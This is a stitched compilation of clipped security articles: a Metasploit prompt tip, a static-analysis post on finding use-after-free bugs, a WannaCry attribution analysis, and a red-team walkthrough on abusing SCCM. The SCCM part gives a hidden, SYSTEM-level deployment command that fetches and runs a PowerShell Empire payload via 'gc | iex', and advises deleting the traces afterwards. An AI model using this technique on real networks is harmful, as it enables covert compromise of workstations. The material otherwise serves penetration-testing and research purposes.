time when I did or didnt' do something. The number of sessions and jobs are
just good to know items.

### Throw in one more trick to make the whole thing a cake walk:

In your ~/.msf4 directory, if you haven't already, create a file called
'msfconsole.rc'. This magical file will run every time you start msfconsole
\(_with the express exception of when you specify a resource file to run from
the command line using the -r argument_\). Throw your 'set PROMPT %blah %blah
%blah' in there formatted however you like, and now whenever you start
msfconsole you'll have your handy dandy timestamp.

Shout out to @egyp7 for showing me this.

# Sean’s Blog

**Created:**| _7/12/2010 1:24:02 PM_  
---|---  
**Updated:**| _7/12/2010 1:24:02 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

## Finding use-after-free bugs with static analysis

November 30, 2009 by seanhn

Earlier this year I had a lot of fun using run-time instrumentation and
analysis to tackle a variety of program analysis problems. In doing so I
became curious about static solutions to the common problems encountered
during dynamic analysis. One of the most obvious issues is that you can only
examine those paths that you can execute and thus you need to find some way to
drive a program through different paths before you can do any kind of
analysis. The flip side of that is that you are guaranteed that any path you
analyse is valid and so false positives in that regard are avoided. With those
experiences in mind I decided to try my hand at purely static analysis
recently \(recently as in August, I suck at finding time to document stuff
apparently\). Static analysis has a large variety of sources of error and
annoyances of its own but for certain bug classes it seemed like a purely
static approach could find some interesting results with a tolerable level of
false positives.

Before I started I considered a few different bug classes in terms of the
strengths/weaknesses of static analysis. Certain types of vulnerabilities that
depend on the values in registers/memory locations are probably best avoided
unless you have the time to either implement a hell of theoretical ideas that
can limit the innaccuracy or have the time to sift through thousands of false
positives. The bug classes I decided to focus on were those that could
generally be reduced to deviations from expected orderings of ‘events’ on a
path. Such bug classes include use of memory before initialisation, unchecked
use of return values from functions, use after X vulnerabilities \(where X is
an API call that marks an argument as supposedly unusable e.g. free\(\) or
fclose\(\)\) and incorrectly ordered sequences of system calls. Eventually I
settled on looking for use-after-free vulnerabilities, although the code built
to do that works for almost all the mentioned bug classes with a little
extending.

\(_Before continuing I should mention exactly what assumptions and bounds I
put on the work I wanted to do. Firstly, I decided to do path insensitive
analysis – that is I considered all paths through a control flow graph
regardless of whether the path condition is satisfiable or not. To do
otherwise would have been extra work and for the vulnerability classes I was
considering it didn’t turn out to be a big problem._

_Secondly, I decided to do data flow analysis over both registers and memory
locations. Some static dataflow analysis \(I think binaudit\) only considers
registers, but in my opinion that misses out on a lot of useful information
available at practically zero cost. For instance, if we are doing taint
analysis and` eax` is tainted then after `mov [ecx+44], eax;` I consider the
abstract location denoted by the literal `[ecx+44]` to also be tainted. It
remains in the tainted set until the `ecx` register is untainted but up until
that point it is usable as a source of information._

_Thirdly, this project was basically just to give me a taste of the practical
side of static analysis so spending a month implementing dataflow analysis for
the entire x86 instruction set was out of the question. As a result I
implemented the data flow analysis for a small subset of the instruction set I
considered to be most relevant to the bug classes considered and wrote a
conservative default for all other instructions. That is, for any instructions
not specifically considered I make an attempt to guess only their destination
operand. The effective result of this is that for such instructions the
destination will be removed from whatever analysis I’m doing. This potentially
introduces false negatives but also frees up about a month of my life.<img
src='img/9460_icon_wink.gif' alt=';-)' />_

_Fourthly, when considering loops I only expanded them for one iteration. I
haven’t thought too much about the implications of this as there didn’t seem
to be a better method without investing time into implementing a bounded loop
unwinding technique. It would seem like it might introduce false positives but
in my testing I did not encounter anything that could be directly traced back
to this weakness. It’s hard to tell if that was due to my small test set, the
characteristics of the vulnerabilities I was considering or that my
conservative data flow analysis hid the potential false positives._

_Fifthly \(at this point I’m wishing I’d used 1, 2, 3…\), I inititally aimed
at intraprocedural analysis and then tacked on some interprocedural fun at the
end. I’m quite happy with how my interprocedural hackery worked out but there
are probably better \(and more time consuming\) ways to do it._\)

**Finding equivalent variables**

When doing static analysis you can essentially start at any address that suits
the problem at hand. This allows us to divide our algorithm for finding use-
after-free bugs into two parts \(well three actually, but more about that
later\). The first part of the algorithm is to decide at a `free` call what
memory locations and registers we want to consider free’d. We want to know all
variables that contain pointers to the memory location about to be free’d so
that we can consider a use of any of these variables to be a bug.

The most common theoretical framework for this problem is called use-def
analysis and is common in compiler theory. In such an analysis we take a
variable _use_ \(e.g. the `push` of whatever variable is to be free’d\) and
compute all its _definitions_ at that point by traversing backwards over all
paths to that point. We then want to apply this function recursively over all
the definition variables we have found, treating them as uses. By modifying
the standard use-def algorithm we can do this to find all variables equivalent
to the free’d variable.

In my implementation as I traverse the paths backwards from a `free` call to
find definitions I maintain a list of all locations that are used as
destination operands in instructions i.e. they are rewritten before the `free`
call. I will refere to this as the `clearedVars` list. So, if we are looking
for the definition of a variable `x` and it is found at an instruction `mov x,
y;` we know `y` is equivalent to the free’d variable if and only if `y` is not
a member of `clearedVars`. Regardless of whether `y` is in `clearedVars` or
not we then apply our use-def algorithm to find its definitions with the same
considerations. This iterative approach is continued until all paths leading
to the `free` call have been analysed and we are left with a set of variables
equivalent to the argument to `free`.

The following snippet of Python code will hopefully help the explanation. It
shows the logic applied to the destination operand of a `mov` instruction.

[code]

    if dst in state['needDefList']:
        src = insDataFlow.getSrcFor(dst)
        state['needDefList'].append(src)
    
        if src not in state['clearedVars']:
            if src not in self.equivVarList:
                self.equivVarList.append(src)
    
        state['needDefList'].remove(dst)
        state['clearedVars'].append(dst)
    
[/code]

When finding the set of equivalent variables we can generally avoid many
sources of false positives in static analysis by accepting false negatives.
The main source of false positives I encountered \(that weren’t caused by my
lack of coding talent\) derived from considering paths with unsatisfiable
conditions.

So at this point we have an algorithm for computing a set of equivalent
variables given a starting point and a source variable. In case it isn’t
obvious, I should point out that the equivalent variables along each path
should be stored separately. Otherwise it becomes an avoidable source of false
positives in the next part of our algorithm.

**Finding use-after-free instances**

Most of the work for this algorithm is in the previous stage. Once we have
computed the equivalent variables per backwards path we are ready to look for
uses of these variables in an unsafe context. We also use the data flow
information from each instruction to add/remove variables from the set of
locations we consider to hold pointers to free’d memory.

For use-after-free vulnerabilities I considered _unsafe use_ to be any
instruction that used the free’d pointer in the computation of a memory
address. \(I also extended eventually this definition to include any
instruction that pushed a free’d pointer to the stack\). Checking for such a
condition is relatively simple. For each instruction we just iterate over all
base registers used in computing the pointer and determine if it is in the set
of variables we know to hold free’d pointers or not.

[code]

    def checkInsForFreeVarUse(self, ea, dst, src, state):
        for op in (dst, src):
            if isinstance(op, TaintLoc_MEMREF_REGS):
                # Usage e.g. mov [ebp+10], eax; and ebp is a free'd var
                for usedReg in op.regs:
                    if usedReg in state['freedVars']:
                        self.b00m(ea, usedReg)
    
[/code]

In my code the `TaintLoc_MEMREF_REGS` class represents an operand that is a
memory location constructed using at least one register. The objects `src` and
dst are the source and destination operands for a given instruction \(a single
source and destination suffices for the instructions instrumented in this
case\).

That is basically the bones of an algorithm that can operate within the bounds
of any function containing a call to `free`; this is useful in its own right
but as I thought about it I began to consider cases where a function may free
one of its arguments. This could be a problem in two ways: 1\) The programmer
using the API call is unaware of this functionality, or forgets, or 2\) The
function should not free the argument and that it does is a flaw in its
implementation. The latter case is more interesting in my opinion but the same
approach will detect both.

**Function aliases and interprocedural analysis**

There is probably some other name for what I'm about to describe but let's
call it a 'function alias' for now. True interprocedural analysis of a
function _f_ containing a call to `free` would involve relatively complex
analysis of the relationship between non-local variables in _f_ and the
variables defined at the call sites of _f_. Doing this properly is non-trivial
but we can perform a more limited analysis with much less effort.

The type of interprocedural analysis I implemented begins with searching for
_aliases_ to the API call that we are using as the starting point for our
algorithms. For use-after-free bugs this is the `free` function. Let us
consider this trigger function as a tuple _\(f, n\)_ , where _f_ is the
function in question and _n_ is the argument we consider to be free'd or
closed or whatever the action we are interested in happens to be. An alias for
a function _\(f, n\)_ is then a function _\(g, m\)_ such that calling the
function _g_ with the variable _x_ as argument _m_ results in a call to _f_
with _x_ as argument _n_. If we are provided with one or more aliases for
_\(f, n\)_ we can then apply the exact same analysis algorithm as described in
the previous sections to find interprocedural bugs.

The question then becomes how do we build such a list? The answer is pretty
simple at a high level - say we are in a function _g_ and analysing a call to
the function _f_ that free's its _n_ th argument. Our first algorithm will
build the set of variables equivalent to the _n_ th argument to _f_ , let's
call it _E_. If any of _g_ 's arguments are in this set then we know _\(g,
m\)_ is an alias for _\(f, n\)_ where _m_ is the index of that variable. The
only tricky part of this is tracking the function arguments to _g_. IDA takes
care of this for us and renames memory locations automatically using an
identifier similar to _arg\_X_ but if using another framework you may have to
do that yourself. \(This turns out to be trickier than you might think, a
description of how the simplex method is used in IDA can be found here.\)

Righty, so at this point we can take any function and compute its aliases. For
maximum fun we apply this recursively to find aliases for aliases and so on,
applying our basic analysis algorithms to each discovered alias in turn.

That basically sums up the details of my approach. I used it to look for use-
after-free bugs but with varying amounts of effort it could be changed to look
for all sorts of fun stuff.

**Testing**

I tested my implementation \(~850 lines of Python using IDAPython as a
framework\) on libxml2, which has a history of use-after-free bugs, Clam
Antivirus, which has a history of sucking and TightVNC, because the name makes
me giggle.

The following table summarises the results of my rather brief and unscientific
testing.

<img src='img/uaf_results3.jpg?w=499&h=136' width='499' height='136'
alt='Analysis results' />

Analysis results

Both libxml2 and Clam AV came up good for a few bugs each and multiple aliases
for `free`. Some of these aliases were obviously on purpose with names like
`cl_engine_free`, whereas others were more difficult to determine. All three
results found in Clam AV were as a result of analysis on an alias function so
it is possible that this function has unintended side effects. For libxml2 the
bugs were split, two resulting from direct calls to free and two resulting
from a call to an alias function. Despite its giggle inducing name, TightVNC
showed no bugs and, disappointingly, not even an alias to free. For both
libxml2 and Clam AV the false positives were as a result of paths with
unsatisfiable conditions.

**Conclusion**

In the above table I've purposely used the term 'bugs' instead of
'vulnerabilities'. The reason for this is the same reason that I've now moved
on to investigating hybrid dynamic/static implementations. Finding a bug using
static analysis of the type I have described gets you a location in a binary
where some broken coding idiom occurs. This is useful in its own right and all
valid bugs detected during my testing are concrete paths leading to use of a
dangling pointer.

From an offensive point of view we must consider the issue further though.
Without more analysis you have no idea how to trigger this code or even if it
is triggerable in a malicious fashion. In fact, as soon as you get over the
initial rush of 'oh look, a shiney new bug' you quickly realise you have a
mountain of work to actual exercise that code, let alone craft an exploit.
From a defensive point of view none of this really matters, the code is
incorrect regardless and should be fixed but from an exploit writers point of
view discovering the bug in this fashion merely puts your shoes on. You still
have a marthon to run in order to get to an exploit.

# On the \(Im\)possibility of Obfuscating Programs∗

**Created:**| _1/27/2010 12:36:06 PM_  
---|---  
**Updated:**| _1/27/2010 12:37:00 PM_  
**Author:**| __  
**Tags:**| _papers reversing_  
  
<img src='img/Temp2_5802' />

# Galois › Blog › Blog » Tech Talk Video: abcBridge: Functional interfaces for
AIGs and SAT solving

**Created:**| _9/10/2010 9:53:28 AM_  
---|---  
**Updated:**| _9/10/2010 9:53:28 AM_  
**Author:**| _wishi_  
**Tags:**| _conference-material_  
  

## Tech Talk Video: abcBridge: Functional interfaces for AIGs and SAT solving

August 27th, 2010 by Iavor S. Diatchki

We are pleased to announce the availability of a new Galois tech talk video:
“abcBridge: Functional interfaces for AIGs and SAT solving”, presented by
Edward Z. Yang . More details about the talk are available on the announcement
page.

, unknown@http://player.vimeo.com/video/14432112"
class="\_\_noscriptPlaceholder\_\_ \_\_noscriptObjectPatchMe\_\_"
style="border-width: 0px; margin: 0px; padding: 0px; outline-offset: -1px;
display: inline;">

abcBridge: Functional Interfaces for AIGs & SAT Solving from Galois Video on
Vimeo.

For more videos, please visit http://vimeo.com/channels/galois.

#### Leave a Reply

Name

# Analysis of Competing Hypotheses, WCry and Lazarus \(ACH part 2\) - SANS
Internet Storm Center

**Created:**| _5/31/2017 6:06:29 PM_  
---|---  
**Updated:**| _5/31/2017 6:06:29 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis attribution_  
  

  

**Introduction** In my previous diary, I did a very brief introduction on what
the ACH method is \[1\], so that now all readers, also those who had never
seen it before, can have a common basic understanding of it. One more thing I
have not mentioned yet is how the scores are calculated. There are three
different algorithms: an Inconsistency Counting algorithm, a Weighted
Inconsistency Counting algorithm, and a Normalized algorithm \[2\]. The
Weighted Inconsistency Counting algorithm, the one used in today’s examples,
builds on the Inconsistency algorithm, but also factors in weights of
credibility and relevance values. For each item of evidence, a consistency
entry of “I” counts -1 against the corresponding hypothesis. Then, Credibility
and Relevance are weighted as follows: L \(Low\) is assigned the value 0.707,
M \(Medium\) is assigned the value 1, and H \(High\) is assigned the value
1.414 and then weight values are multiplied together to determine the
aggregate weight for a each piece of evidence. The default table looks like
the following: <img src='img/Temp2_580.png' width='700' height='389' /> Today,
I will apply ACH to a recent quite known case: WCry attribution. There has
been lots of analyses and speculations around it, lately several sources in
the InfoSec community tied WCry strongly to Lazarus Group
\[3\]\[4\]\[5\]\[6\], while some others provided motivation for being
skeptical about such attribution \[7\]. Therefore, it is a perfect case to
show the use of ACH: several different hypotheses, facts, evidences and
assumptions. **Digital Shadows WCry** ACH analysis About two weeks ago,
Digital Shadows published a very well done post on ACH applied to WCry
attribution \[8\]. Regarding possible attribution to Lazarus though, as stated
on their post, “ _At the time of writing, however, we assessed there to be
insufficient evidence to corroborate this claim of attribution to this group,
and alternative hypotheses should be considered.”_ Therefore among the
hypotheses considered is missing one specifically for Lazarus in place of a
more generic _“nation state or state affiliate actor.”_ The following are the
four different hypotheses considered by Digital Shadows:

  * A sophisticated financially-motivated cybercriminal actor - H1
  * An unsophisticated financially-motivated cybercriminal actor - H2
  * A nation state or state-affiliated actor conducting a disruptive operation - H3
  * A nation state or state-affiliated actor aiming to discredit the National Security Agency \(NSA\) – H4

Plenty of evidences where also considered and the final ACH matrix resulted is
the following: <img src='img/Temp2_578.png' width='700' height='894' /> Given
the final scores computed, they have assessed that "_though by no means
definitive, a WannaCry campaign launched by an unsophisticated cybercriminal
actor was the most plausible scenario based on the information that is
currently available_." Just one note on my side, from my calculation seems
they have made a mistake, and H2 score should be -2.121 rather than -1.414.
This does not change the final result, but brings H2 and H3 way closer. **My
WCry ACH Analysis** Although the Digital Shadows analysis was a very good one,
I felt something was missing, both on the hypotheses as well as on the
evidences side. Particularly, in my opinion, I would add three more
hypotheses. When thinking about NSA being the final target of this, other than
A nation state or state-affiliated actor aiming to discredit the NSA, I think
that it should be considered also a \(generic/unattributed\) TA aiming at
unveiling/exposing the extent of possible NSA network of compromised machines
\(**H5**\). This is something one would expect from a hacktivist maybe,
although it seems to be way more sophisticated than what hacktivist have got
us used to. One difference with the H4 could be on the lack of supporting
media narrative. While if one wants to discredit NSA would be ready to have a
supporting media narrative, if the goal was simply to unveil and show to
everyone the potential extent of NSA infected machines, the infection as it
was would have been sufficient, given also the abundant media coverage it got.
Although this may still be seen as too close to H4 to be a different
hypothesis, I still do see a case for it. The other hypothesis I’m considering
is Shadow Brokers being behind it \(**H6**\). This because they had collected
some big failures in the previous attempts of monetizing their dumps, as
apparently not much credit was given to them or to the quality of their
claims. The WCry incident proved the high quality of their leak. As one of the
arguments for this, by timely coincidence as soon as the first Lazarus
attribution started to come up, SB announced their “data dump of the month”
service \[9\]. How many people will now think more about buying their offer?
Finally, I believe a specific hypothesis for Lazarus, other than generic
nation state actor, is needed given the number of reports and evidence
attributing WCry to it \(**H7**\). If I consider Lazarus, I consider financial
gain as the motivation behind it, since historically this has been its focus
and the ransomware is indeed a lucrative market. However, H7 would be
inconsistent with the failed of decrypting after ransom was paid. This does
not serve as good advertisement, and fewer victims would start paying once the
rumor that files won’t be decrypted anyway spreads. Another inconsistency
point for me would be the race condition bug related to the BTC addresses,
given the quality of the Lazarus code we are used to. But I may be missing
something here. Also on the side of the evidences, in my opinion, there was
missing some important pieces. First is the assumption of code reuse for
deception purposes. Code reuse is way too probable, it happens all the times
and its use as decoy cannot be ignored as one of the possibilities. Secondly,
as also commented by others in the community, the element of distraction:
while all security folks were chasing WCry, something else much stealthier was
happening. While this maybe seen as rare event, it does happen and, again, is
something to consider given the events. The following is the resulting ACH
matrix, with in red the new hypotheses and evidences I have added compared to
Digital Shadows analysis. <img src='img/Temp2_579.png' width='689'
height='800' /> **Conclusions** While from the results above there seems to be
a clear winner in H5, \(_generic/unattributed\) TA aiming at
unveiling/exposing the extent of possible NSA network of compromised machines_
, what I see in cases like this are three clear “losers”: H1, _a sophisticated
financially motivated attacker_ , H3,_a nation state or state-affiliated actor
conducting a disruptive operation,_ and H7, _Lazarus Group_. I would then
focus on looking for other elements with regards to the hypothesis that are
left in the refinement face. Given that ACH is done better when multiple
analysts contribute with their views, please share your feedback. As stated by
the guys at Digital Shadows too, also my analysis is by no means definitive.
Finally, I’m sharing my Excel template I made and use to do ACH, for those who
would like to experiment with it. You can find it here
https://github.com/pstirparo/utils/blob/master/ACH\_template-v0.4.xlsx  Happy
Hunting,  
Pasquale **References:** \[1\] – P. Stirparo, “ _Analysis of Competing
Hypotheses \(part 1\)_ ”,
https://isc.sans.edu/forums/diary/Analysis+of+Competing+Hypotheses+ACH+part+1/22460/  
\[2\] – Palo Alto Research Center, “ _ACH1.1: A Tool for Analyzing Competing
Hypotheses_ ”; http://www.pherson.org/PDFFiles/ACHTechnicalDescription.pdf  
\[3\] – Neel Mehta, https://twitter.com/neelmehta/status/864164081116225536  
\[4\] – Kaspersky, “ _WannaCry and Lazarus Group – the missing link?_ ”
https://securelist.com/blog/research/78431/wannacry-and-lazarus-group-the-
missing-link/  
\[5\] – Symantec, “ _WannaCry: Ransomware attacks show strong links to Lazarus
group_ ”; https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-
show-strong-links-lazarus-group  
\[6\] – BAE Systems, “ _WanaCrypt0r RansomWorm_ ”;
https://baesystemsai.blogspot.ch/2017/05/wanacrypt0r-ransomworm.html  
\[7\] – ICITech, “ _There's Proof That North Korea Launched the WannaCry
Attack? Not So Fast\! - A Warning Against Premature, Inconclusive, and
Distracting Attribution_ ”; http://icitech.org/theres-proof-that-north-korea-
launched-the-wannacry-attack-not-so-fast-a-warning-against-premature-
inconclusive-and-distracting-attribution/  
\[8\] – Digital Shadows, “ _WannaCry: Analysis of Competing Hypotheses_ ”;
https://www.digitalshadows.com/blog-and-research/wannacry-an-analysis-of-
competing-hypotheses/  
\[9\] – The Shadow Brokers, “ _OH LORDY\! Comey Wanna Cry Edition_ ”,
https://steemit.com/shadowbrokers/@theshadowbrokers/oh-lordy-comey-wanna-cry-
edition Pasquale Stirparo, Ph.D. @pstirparo  
---  
  

# Targeted Workstation Compromise with SCCM

**Created:**| _7/17/2017 11:29:37 AM_  
---|---  
**Updated:**| _7/17/2017 11:29:37 AM_  
**Author:**| __  
**Tags:**| _windows environment gpo_  
  

  

# Targeted Workstation Compromise with SCCM

October 27, 2015 by enigma0x3

In most Red Team engagements, strategic lateral movement is a must. Unlike a
lot of typical network penetration tests, a Red Team engagement often requires
stealth, creativity and **a very limited number of hosts touched on the
network**. Most Red Teams have their “go to” method for moving laterally
within a target network in a surgical manner. Some teams get caught up in
their normal tradecraft and tend to overlook other creative ways to clinically
dissect a network during the hunt for the crown jewels. This post will cover a
non-traditional way to strategically target and compromise computers by
abusing Microsoft’s System Center Configuration Manager, more commonly known
as SCCM.

If you aren’t familiar with Dave Kennedy’s talk on compromising a SCCM server
and deploying malware enterprise wide, you can read about it here:
https://www.trustedsec.com/files/Owning\_One\_Rule\_All\_v2.pdf

\*Note: Assuming you have elevated access, you will likely already have access
to the majority of the workstations. The purpose of this post is to
demonstrate strategic lateral movement without using standard methods.

**What is SCCM?**

TL;DR, SCCM is a platform that allows for an enterprise to package and deploy
operating systems, software, and software updates. It allows for IT staff to
script and push out installations to clients in an automated manner. You can
kind of think of it as a customizable, scriptable WSUS. There’s more
information about SCCM here:
https://en.wikipedia.org/wiki/System\_Center\_Configuration\_Manager

If you can gain access to SCCM, it makes for a great attack platform. It
heavily integrates Windows PowerShell, has excellent network visibility, and
has a number of SCCM clients as SYSTEM just waiting to execute your code as
SYSTEM.

****

**Preface:**

This post is going to assume that you have the ability to identify and
compromise a SCCM installation. In most situations, this will likely involve
compromising an elevated account \(such as a server administrator\) that
allows for access to the SCCM server itself. This type of attack is handy in
situations where you have elevated credentials \(either domain or local\) to
select servers but not all workstations. This is often the case in enterprises
with good group separation and control over local administrative accounts in
the domain.

**Using SCCM to Select a Target:**

Often times, using RDP to access a resource as a Red Team can be very useful
but also somewhat risky. In most situations as an operator, you have to weigh
the risk versus the reward. For this attack, RDP will be used to access the
Configuration Manager Console on the SCCM server. When you get in and start
the Configuration Manager Console, it will look something like this:

<img src='img/sccm_starting_view.png' width='690' height='431'
alt='sccm_starting_view' />

Most organizations will setup SCCM to “clone” Active Directory in order to
pull in computer objects by using a Discovery Method referred to as “Active
Directory System Discovery”, as well as user objects by using the discovery
method “Active Directory User Discovery”. These discovery methods will
enumerate computer and user objects based on a supplied container or LDAP
query. Within this structure, there are a few ways that SCCM correlates which
users use what computer. The most common is implementing “User Device
Affinity” or setting the “Primary User” for a computer object. Whichever it
may be, IT staff needs a way to map what computers belong to what people. By
doing so, they are able to push specific software out to a specific person or
group of people. In many cases, an organization will create “Device
Collections”, which are containers for specific purposes. By throwing computer
objects into a Device Collection, IT is able to push specific software out to
that specific group \(for example, pushing out QuickBooks to the Finance
Department\).

Since there is usually a nice user-to-device mapping within SCCM, we can go to
“All Users” and find a nice list of users. This allows you to determine whom
you want to target and determine what computer they are on \(if they have
mapping setup\). For this example, we are going to target the user “Chris”.
Below is an example of what the user list will look like. As you can see,
there is an object called “Primary Device”. Clicking on this will pull up the
computer object that the selected user owns. It is important to note that
there are a few different ways to do user->device mapping in SCCM. It is up to
you to determine how the mapping is setup in order to identify your targets.

<img src='img/target_identification_sccm.png' width='690' height='270'
alt='target_identification_sccm' />

With this information, we now know that the user “Chris” owns “CORPWKSTNX64”.

<img src='img/sccm_computer_target.png' width='690' height='159'
alt='sccm_computer_target' />

**** Another way to target a specific user or group of users is to identify
the computer names of your targets. This can often be acquired by conducting a
little network recon. One common method of identifying targets is to use
Invoke-UserHunter from PowerView \(written by my co-worker @harmj0y\). You can
read a bit about user hunting on his blog here. Organizations often have some
sort of naming scheme for their computers or they have some sort of
identifiable information in Active Directory. After all, IT staff likely needs
to know what users are on what computers for support requests. If you identify
your targets, you can create a group just for them. This will allow you to
create your target set, group them all together, and push agents to them
simultaneously.

You can accomplish this by going to the “Assets and Compliance” tab and
clicking on “Device Collections”. This will bring up any device collections
that have already been created. You can create your own by right clicking and
selecting “Create Device Collection” and giving the collection a name. It will
also ask you to specify a limiting collection. Normally, you want to set this
to “All Systems”. This will limit what computers are available to be added to
the collection.

<img src='img/sccm_target_grouping.png' width='690' height='631'
alt='sccm_target_grouping' />

**** Hitting “Next” will take you to the screen that allows you to specify
membership rules. You can either create membership rules now and add your
targets, or you can just click “Next” and “OK” on the warning to move on. I
often just click through this section and opt to add my targets to the
collection later. After all this is done, you will have a collection for your
specific targets.

You can then add your targets to your target collection by clicking on “All
Systems” and typing or finding the computer names you wish to specifically
target.

**<img src='img/sccm_workstation_selection.png' width='690' height='358'
alt='sccm_workstation_selection' />**

When you find a target computer, just right click on it and select “Add
Selected Items” -> “Add Selected Items to Existing Device Collection”.

**<img src='img/sccm_add_to_devicecollection.png' width='690' height='412'
alt='sccm_add_to_devicecollection' />**

**** From there, just select your device collection and click “OK”. You can
click “Device Collections” on the left, and then double click on your device
collection to make sure your targets are in the collection before deploying
your payload.

**<img src='img/sccm_target_verification.png' width='690' height='195'
alt='sccm_target_verification' />**

By strategically selecting your targets and placing them into a device
collection, you are able to deploy your payload in a controlled and surgical
manner.

****

**Using SCCM Application Deployments for Targeted Workstation Compromise**

The easiest way to abuse SCCM’s functionality without touching disk on your
targets is to host your payload on the SCCM server and use PowerShell to grab
the payload and execute it. In most situations, SCCM admins will create a
publicly available share to host the software packages. In some situations,
you may need to browse around to see how they are hosting installation files.
Administrators will typically place all installation files in a predictable
folder \(all Flash installation files in Flash\_15.0.0.1, for example\). When
they create a new package or application and push it to the clients, the
client will often download the files, run the installation script and then
delete the files off of disk. This is fine for normal administrative tasks,
but it isn’t ideal when being used in a malicious context. To avoid touching
disk on the client, we will use a method to fetch the payload content over
UNC.

The first step is to host our payload. For this example, I will be using
PowerShell Empire by generating a .ps1. Once generated, you can copy the
contents into a text file and host it on a reachable share. In this instance,
the hosting folder is “sccmsource” and the stager will be “Install.txt” in the
“LegitApplication” folder. So, the complete path to our Empire staging code
will be “\\\sccm2012.lab.local\sccmsource\LegitApplication\Install.txt”. A
nice aspect of SCCM is that it can be heavily administered via PowerShell,
which makes malicious PowerShell less obvious.

<img src='img/sccm_payload_hosting.png' width='690' height='233'
alt='sccm_payload_hosting' />

With our payload hosted, we can now begin to create our application for
deployment to select targets throughout the network. To do so, select the
“Software Library” tab and then select “Application Management”. From there,
right click and select “Create Application”. After doing so, you will be
presented with a box to start the creation process.

The first box will ask you to either specify the application install type or
to manually specify the application install type. For this, we are going to
select “Manually specify the application information” and then hit next.

<img src='img/sccm_manual_application.png' width='690' height='613'
alt='sccm_manual_application' />

On the next screen, we need to give our application a name and provide a
little bit of information. Once provided, hit next until you see the
“Deployment Types” section \(you can skip the “Application Catalog” section
unless you need to add in any additional information\). For our purpose, the
less information provided, the better.

<img src='img/sccm_application_general_info.png' width='690' height='612'
alt='sccm_application_general_info' />

Once you reach the “Deployment Types” section, click “Add” to add a new
deployment type. Doing so will open a window that will get you started on
configuring your application.

Under the “Type” section, we are going to select the “Script Installer”
option.

<img src='img/sccm_script_installer.png' width='690' height='535'
alt='sccm_script_installer' />

Hitting next will move you on to the “General Information” screen. This is
where you will enter a deployment name and language. I normally use the same
name as the application.

<img src='img/sccm_deployment_creation.png' width='690' height='605'
alt='sccm_deployment_creation' />

Clicking on next will move us to the most important part of the application
creation…the payload. For this section, we are going to leave the “Content
Location” field empty. In normal cases, this is where an Administrator would
specify the location of the application installation files. Since we want to
avoid touching disk, we will leave that blank.

This brings us to the “Installation Program” and “Installation start in”
fields. This is where we are going to place the command that will grab our
payload and execute it. The “Installation Program” will look something like
this:

_cmd.exe /c “powershell.exe -ep bypass -c “gc \\\serverName\sharedFolder\ApplicationFolder\payload.txt | iex””_
****

**Note:** you may be wondering why we don’t just set the “Installation
Program” to be a PowerShell encoded command with the payload text. This is
because SCCM unfortunately imposes a length restriction limit of 1024
characters for the specified program. You could potentially use a trimmed IEX
“download cradle”, but you’ll likely hit the length restriction if you want to
include things like proxy enumeration or a user-agent with it. Also, it’s nice
to keep the reach back from the client confined to ‘normal’ behavior \(e.g.
UNC path execution instead of HTTP\).

__ Once we have the program set, we need to specify where the installation is
going to start in. Since the “Installation Program” field took only “cmd.exe”,
SCCM is asking us to specify the location of “cmd.exe”. So for that field, we
are going to put “C:\Windows\System32”.

<img src='img/sccm_program_path.png' width='690' height='610'
alt='sccm_program_path' />

What this will do is use cmd.exe to start PowerShell, and then use
PowerShell’s Get-Content \(gc\) to reach out to
“\\\sccm2012\sccmsource\LegitApplication” and grab the contents of
“Install.txt”. Once it has that, the code is passed to Invoke-Expression
\(iex\) to execute it. This allows us to execute our payload on the target
without dropping a file to the file system.

With that configured, we can proceed to the “Detection Method” menu. The
options specified here will tell SCCM how to determine if the client already
has the target application installed or not. SCCM will check the specified
options before installing the application in order to prevent multiple
installations. Since we are running our payload in memory there isn’t really
much to check, but as this part is required, we can just populate it with
bogus information.

To do this, click “Add Clause” and change the type to “Folder”. I normally
just set the path to “C:\” and the “File or Folder Name” to random text. Once
you have that set, make sure you specify “The file system setting must exist
on the target system to indicate presence of this application”.

<img src='img/sccm_detection_prompt.png' width='690' height='681'
alt='sccm_detection_prompt' />

With that set, we can click “OK” and “Next” to move onto the “User Experience”
section. This lets you dictate how silent you want the installation to be, as
well as what context you want the installation to take place \(userland or
system\). For this example, we are going to set the “Installation Behavior” to
“Install for System”. We are then going to make sure we can push our agent
regardless if the user is logged on or not, allowing us to push agents in the
middle of the night if needed. Finally, we want to make sure to set the
“Installation Program Visibility” to “Hidden”. This will hide any and all
things from the user. <img src='img/1f600.svg' width='16' height='16' alt='😀'
/>

<img src='img/sccm_install_settings.png' width='690' height='608'
alt='sccm_install_settings' />

Once done, we can hit “Next” through the “Requirements” and “Dependencies”
sections. With that done, we now have our malicious application created. Next
step, deployment\! To deploy our newly created application, just right click
on it and select “Deploy”.

<img src='img/sccm_deploy_application.png' width='690' height='527'
alt='sccm_deploy_application' />

This will bring us to the screen to specify our targets. Clicking on “Browse”
next to “Collection” will bring up all of the user and device collections that
exist. You can either deploy to a specific user \(if a user collection for
them exists\) or you can deploy to a specific device collection. You can click
the “User Collection” drop down to move in between user and device
collections.

<img src='img/sccm_target_selection_deploy.png' width='690' height='467'
alt='sccm_target_selection_deploy' />

Once you have your collection selected, clicking “OK” will move you onto the
remainder of the deployment setup. You will want to skip the “Content” section
and click “Next” until you reach the “Deployment Settings” portion. In this
section, you want to set the “Purpose” field to “Required”.

<img src='img/set_to_required_sccm.png' width='690' height='593'
alt='set_to_required_sccm' />

Clicking “Next” will take you to the scheduling section. All you have to do on
that page is make sure the “Installation Deadline” is set to “As soon as
possible after the available time” \(which is set by default\).

On the next page, you will find the settings for the user experience. Here,
you want to make sure you set the “User notifications” to “Hide in Software
Center and all notifications”.

<img src='img/sccm_user_notifications.png' width='690' height='594'
alt='sccm_user_notifications' />

Once done, you can click through the “Alerts” section and finish the
deployment. This will push the application out to the computers in the device
collection specified. You can verify the deployment by clicking on the
application and looking at the deployments on the bottom.

<img src='img/sccm_deployment_verification.png' width='690' height='285'
alt='sccm_deployment_verification' />

Once a target checks in, it will detect that it has a new deployment pushed to
it and it will try to install the application. Since we simply provided
commands to run via the command prompt, it will start PowerShell, grab the
content of our payload off of the SCCM server, and then execute it. In this
example, we get a SYSTEM level Empire agent back:

<img src='img/sccm_empire_agent.png' width='690' height='272'
alt='sccm_empire_agent' />

Once you get agents on the targets, I highly recommend that you delete the
deployment, the application, and the device collection that was created.

**Alternate method of Code Execution**

